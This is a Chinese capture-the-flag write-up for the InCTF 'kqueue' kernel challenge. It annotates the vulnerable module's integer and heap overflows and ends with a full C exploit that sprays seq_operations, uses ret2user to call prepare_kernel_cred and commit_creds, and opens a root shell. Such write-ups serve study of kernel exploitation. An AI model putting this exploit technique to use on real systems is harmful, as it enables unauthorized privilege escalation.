前言
这题给了源码,感觉代码的问题很大。然后题目不算难,但是最后 ret2user 执行的代码很有意思。这里的思路是参考的 Roland_ 大佬的思路:[原创]InCTF 内核Pwn之 Kqueue-Pwn-看雪-安全社区|安全招聘|kanxue.com
最后不去泄漏 kernel_offset,直接利用 ret2user 时,内核栈上残留的内核地址进行提权,这个思路非常妙,可以说是情理之中意料之外,当然可能是我太菜(压上了)。
漏洞分析
保护:就开了个 kalsr 随机化保护。smep/smap/pti 全关了。所以可以直接 ret2user 了
然后内核版本为 v5.8.1,然后这个题目是 2021 年的,所以该内核应该存在 dirty pipe 漏洞,经过测试的确如此:这里并不利用该 nday 直接打
然后题目给了源码,还是比较给力的,这里源码我全注释了,就不一一解释了。
题目主要实现了一个菜单,有增、删、改、复制的功能,其中主要维护了以下结构:
create_kqueue 函数
该函数就是去创建上述结构的,其中用户传入 request_t 结构体指针。这里有意思的是程序中有一些错误检测,当不满足时都会调用 err,但是这里 err 仅仅是输出一个字符串后就返回,而不是 exit。这就导致整个程序的检测几乎都无效。
/*
typedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;
*/static noinline long create_kqueue(request_t request){long result = INVALID;// 这里的 err 单纯打印一个字符串....if(queueCount > MAX_QUEUES)err("[-] Max queue count reached");/* You can't ask for 0 queues , how meaningless */if(request.max_entries<1)err("[-] kqueue entries should be greater than 0");/* Asking for too much is also not good */// #define MAX_DATA_SIZE 0x20if(request.data_size>MAX_DATA_SIZE)err("[-] kqueue data size exceed");/* Initialize kqueue_entry structure */queue_entry *kqueue_entry;/* Check if multiplication of 2 64 bit integers results in overflow */ull space = 0;// space = sizeof(queue_entry) * (request.max_entries+1)// __builtin_umulll_overflow 检测了乘法结果是否发生溢出// 但是 request.max_entries+1 可能存在溢出if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)err("[-] Integer overflow");/* Size is the size of queue structure + size of entry * request entries */ull queue_size = 0;// queue_size = sizeof(queue) + spaceif(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)err("[-] Integer overflow");/* Total size should not exceed a certain limit */if(queue_size>sizeof(queue) + 0x10000)err("[-] Max kqueue alloc limit reached");/* All checks done , now call kzalloc */// validate 就是对 err 的一个封装,所以这题相当于没检测queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));/* Main queue can also store data */queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));/* Fill the remaining queue structure */queue->data_size = request.data_size;queue->max_entries = request.max_entries;queue->queue_size = queue_size;/* Get to the place from where memory has to be handled */// 这里的 queue 是局部变量 queue* 指针而不是 queue 结构体// 所以 sizeof(queue) = sizeof(queue*) = 8// 所以这里其实就是 (queue_entry *)(queue + 1)// 不知道为啥要写这么蹩脚的代码......是我太菜了kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));/* Allocate all kqueue entries */queue_entry* current_entry = kqueue_entry;queue_entry* prev_entry = current_entry;uint32_t i=1;// 看到这里,我知道了 request.max_entries+1 溢出这个漏洞是故意给的了for(i=1;i<request.max_entries+1;i++){if(i!=request.max_entries)prev_entry->next = NULL;current_entry->idx = i;current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));/* Increment current_entry by size of queue_entry */current_entry += sizeof(queue_entry)/16;/* Populate next pointer of the previous entry */prev_entry->next = current_entry;prev_entry = prev_entry->next;}/* Find an appropriate slot in kqueues */uint32_t j = 0;for(j=0;j<MAX_QUEUES;j++){if(kqueues[j] == NULL)break;}if(j>MAX_QUEUES) // j == MAX_QUEUES 就不检测了???err("[-] No kqueue slot left");/* Assign the newly created kqueue to the kqueues */kqueues[j] = queue; // ? 这不数组越界???queueCount++;result = 0;return result;
}
漏洞点:request.max_entries+1 可能发生溢出,比如 request.max_entries = 0xffffffff,这是仅仅寄宿创建了一个 queue 头,但是 queue 中存的是 request.max_entries。
delete_kqueue 函数
static noinline long delete_kqueue(request_t request){/* Check for out of bounds requests */if(request.queue_idx>MAX_QUEUES)err("[-] Invalid idx");/* Check for existence of the request kqueue */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] Requested kqueue does not exist");kfree(queue);memset(queue,0,queue->queue_size); // ?? 释放之后把内容清空了 ?? 这啥操作kqueues[request.queue_idx] = NULL; // data 也没释放???return 0;
}
edit_kqueue 函数
static noinline long edit_kqueue(request_t request){/* Check the idx of the kqueue */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if the kqueue exists at that idx */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] kqueue does not exist");/* Check the idx of the kqueue entry */if(request.entry_idx > queue->max_entries)err("[-] Invalid kqueue entry_idx");/* Get to the kqueue entry memory */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* Check for the existence of the kqueue entry */exists = false;uint32_t i=1;for(i=1;i<queue->max_entries+1;i++){/* If kqueue entry found , do the necessary */if(kqueue_entry && request.data && queue->data_size){if(kqueue_entry->idx == request.entry_idx){validate(memcpy(kqueue_entry->data,request.data,queue->data_size));exists = true;}}kqueue_entry = kqueue_entry->next;}/* What if the idx is 0, it means we have to update the main kqueue's data */if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){validate(memcpy(queue->data,request.data,queue->data_size));return 0;}if(!exists)return NOT_EXISTS;return 0;
}
save_kqueue 函数
该函数会根据 queue->queue_size 创建一个新的 obj,然后以 request.max_entries 来将其 data 的内容复制到新的 obj 中。并且这里复制的大小由用户控制,虽然做了检测,但是上面说了,err 没啥用,所以这里存在堆溢出。
/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){/* Check for out of bounds queue_idx requests */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if queue is already saved or not */if(isSaved[request.queue_idx]==true)err("[-] Queue already saved");queue *queue = validate(kqueues[request.queue_idx]);/* Check if number of requested entries exceed the existing entries */if(request.max_entries < 1 || request.max_entries > queue->max_entries)err("[-] Invalid entry count");/* Allocate memory for the kqueue to be saved */char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));/* Each saved entry can have its own size */// 这里对 request.data_size 的检测存在问题if(request.data_size > queue->queue_size)err("[-] Entry size limit exceed");/* Copy main's queue's data *///这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出if(queue->data && request.data_size)validate(memcpy(new_queue,queue->data,request.data_size));elseerr("[-] Internal error");new_queue += queue->data_size;/* Get to the entries of the kqueue */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* copy all possible kqueue entries */uint32_t i=0;// 1)// 这里就变成 request.max_entries+1 而不是 queue->max_entries+1 了// 所以这里结合上面的整数溢出就导致了堆溢出// 比如最开始传入 max_entries 为 0xffffffff,那么 queue->max_entries+1=0// 这时就分配了一个 queue 头,在 edit 和 add 后面都是不存在问题的,因为其使用的也是 queue->max_entries+1// 但是在 save 中,却使用了 request.max_entries+1,这里 request.max_entries+1 可不为0了// 所以这里会导致堆溢出// 2)// 并且这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出for(i=1;i<request.max_entries+1;i++){if(!kqueue_entry || !kqueue_entry->data)break;if(kqueue_entry->data && request.data_size)validate(memcpy(new_queue,kqueue_entry->data,request.data_size));elseerr("[-] Internal error");kqueue_entry = kqueue_entry->next;new_queue += queue->data_size;}/* Mark the queue as saved */isSaved[request.queue_idx] = true;return 0;
}
漏洞利用
经过上面的分析,我们可以利用如下思路:
1)add,其中传入的 max_entries = 0xffffffff,data_size = 0x20*8(这里随你)此时仅仅创建一个 0x20 的 queue 和一个 data_size 大小的 data,但是其保存的 max_entries 是 0xffffffff
2)利用 save 功能,此时会创建一个 queue_size = 0x20 大小的新 obj,然后将 queue->data 的数据复制到这个 obj 上,但是复制的数据长度是用户可控的,并且 err 检测没有实质性的作用。
所以我们可以提前堆喷大量的 seq_operations(即 seq_file 文件的利用,这里 seq_operations 的大小也是 0x20,读者有问题可以参考我之前的文章)形成如下布局:
这是发生溢出的话就会覆盖 seq_operations 中的指针,如果将 seq_operations->start 覆盖为用户空间的一个地址的话,就可以实现 ret2user 了。
但是这里比较关键的就是如何进行提权,题目开了 kaslr,所以该如何泄漏 kernel_offset 呢?这里大佬给了一种方案。
因为是 ret2user,所以在执行用户空间代码时用的还是内核栈,所以可以在利用内核栈上残留的内核地址去计算出 commit_creds/prepare_kernel_cred 的函数地址。经过测试 rsp+8 位置存在一个固定的内核地址:0xffffffff81201179
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>#define CREATE 0xDEADC0DE
#define EDIT 0xDAADEEEE
#define DELETE 0xBADDCAFE
#define SAVE 0xB105BABEtypedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;int fd;
void add(uint32_t max_entries, uint16_t data_size)
{request_t req = { .max_entries = max_entries, .data_size = data_size };ioctl(fd, CREATE, &req);
}void edit(uint16_t queue_idx, uint16_t entry_idx, char* data)
{request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};ioctl(fd, EDIT, &req);
}void dele(uint16_t queue_idx)
{request_t req = { .queue_idx = queue_idx };ioctl(fd, DELETE, &req);
}void save(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size };ioctl(fd, SAVE, &req);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void get_root_shell()
{puts("[+] Get Root Shell");printf("[+] UID: %d\n", getuid());system("/bin/sh");
}size_t rrip;
size_t kernel_addr;
void shellcode()
{
/*
[rsp+8] = 0x0xffffffff81201179
>>> hex(elf.sym.commit_creds)
'0xffffffff8108c140'
>>> hex(elf.sym.prepare_kernel_cred)
'0xffffffff8108c580'
*/asm("mov r14, [rsp+0x8];""mov kernel_addr, r14;""sub r14, 0x174bf9;" // prepare_kernel_cred"mov rdi, 0;""call r14;""mov rdi, rax;""mov r14, kernel_addr;""sub r14, 0x175039;" // commit_creds"call r14;""swapgs;""mov r14, user_ss;""push r14;""mov r14, user_sp;""push r14;""mov r14, user_rflags;""push r14;""mov r14, user_cs;""push r14;""mov r14, rrip;""push r14;""iretq");}int main(int argc, char** argv, char** env)
{save_status();int seq_fd[0x200];uint64_t buf[0x20];rrip = get_root_shell;if ((fd = open("/dev/kqueue", O_RDONLY)) < 0) err_exit("FAILED to open dev file");for (int i = 0; i < 0x20; i++) buf[i] = shellcode;add(0xffffffff, 0x20*8);edit(0, 0, buf);for (int i = 0; i < 0x200; i++)if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)err_exit("FAILED to open seq file");save(0, 0, 0x80);for (int i = 0; i < 0x200; i++)read(seq_fd[i], buf, 1);puts("[+] NEVER EXP END");return 0;
}
效果如下: